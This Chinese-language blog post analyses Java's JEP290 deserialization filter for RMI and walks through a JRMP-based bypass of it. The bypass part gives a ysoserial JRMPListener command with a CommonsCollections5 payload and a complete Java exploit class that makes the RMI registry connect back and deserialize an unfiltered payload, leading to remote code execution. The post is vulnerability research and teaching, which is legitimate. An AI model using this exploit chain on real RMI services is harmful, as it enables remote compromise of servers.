浅谈 JEP290
Drunkbaby Lv6

浅谈 JEP290

浅谈 JEP290

0x01 前言

属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。

一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI

8u121 ~ 8u230 打不了 RMI

0x02 关于 JEP290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事

1、提供一个限制反序列化类的机制,白名单或者黑名单。
2、限制反序列化的深度和复杂度。
3、为 RMI 远程调用对象提供了一个验证类的机制。
4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

官方从 8u121,7u13,6u141 分别支持了这个 JEP

0x03 JEP290 防御手段分析

先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI

尝试去攻击,这里会报错,报错部分信息为

1
2
java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290

  • 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类

我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。

跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进

先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进

跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。

在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法

readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进

而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。

这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法

对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个:

1
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤

0x04 JEP290 绕过

这里我们可以先看一下白名单里面都能过什么,白名单如下

1
2
3
4
5
6
7
8
9
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass

绕过利用

思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样

先用 ysoserial 开启 JRMP 3333 端口的监听

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后编写 RMI 的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class BypassJEP290 {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}

这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。

绕过分析

我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象

当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信

这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化

接着来看看 yso 中的 JRMPClient 是做了什么操作

1
2
3
4
5
6
7
8
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;

这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:

这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

一路跟进到 sun.rmi.transport.LiveRef#read

可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。

跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。

到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进

releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法

var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息

接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下

里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。

在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。

invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP

至此绕过分析结束

0x05 小结

本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。

0x06 Ref

https://xz.aliyun.com/t/8706

 评论
.valine-container { #vcomments { .vwrap { border 0.1rem solid var(--text-color-4) .vheader { .vinput { color var(--text-color-3) border-color var(--text-color-4) &:focus { border-bottom 0.1rem dashed var(--primary-color) !important } } } .vedit { .veditor { color var(--text-color-3) } .vctrl { .vicon { fill var(--text-color-3) &.actived { fill var(--primary-color) } } } } button.vsubmit { color var(--text-color-3) !important background transparent !important border 0.1rem solid var(--text-color-3) !important &:hover { color var(--primary-color) !important border 0.1rem solid var(--primary-color) !important } } } .vcount { color var(--text-color-3) .vnum { color var(--text-color-2) } } .vcard { .vnick { .author { margin-left 0.15rem padding 0.15rem color #fff font-weight 450 font-size 0.9rem background -webkit-linear-gradient(45deg, #e3565e, #ee854b, #f6c258, #90c68a, #5fb3b3, #6699cc, #c594c5) background linear-gradient(45deg, #e3565e, #ee854b, #f6c258, #90c68a, #5fb3b3, #6699cc, #c594c5) border-radius 0.15rem } } .vhead { .vnick { color var(--primary-color) } .vsys { color var(--text-color-3) background var(--background-color-2) !important } } .vcontent { P { color var(--text-color-3) code { color var(--code-foreground) background var(--code-background) } } } .vh { border-bottom-color var(--border-color) } .vquote { border-left-color var(--border-color) } } .vcopy { color var(--text-color-4) } .vpage { .vmore { color var(--text-color-2) border 0.1rem solid var(--border-color) } } } }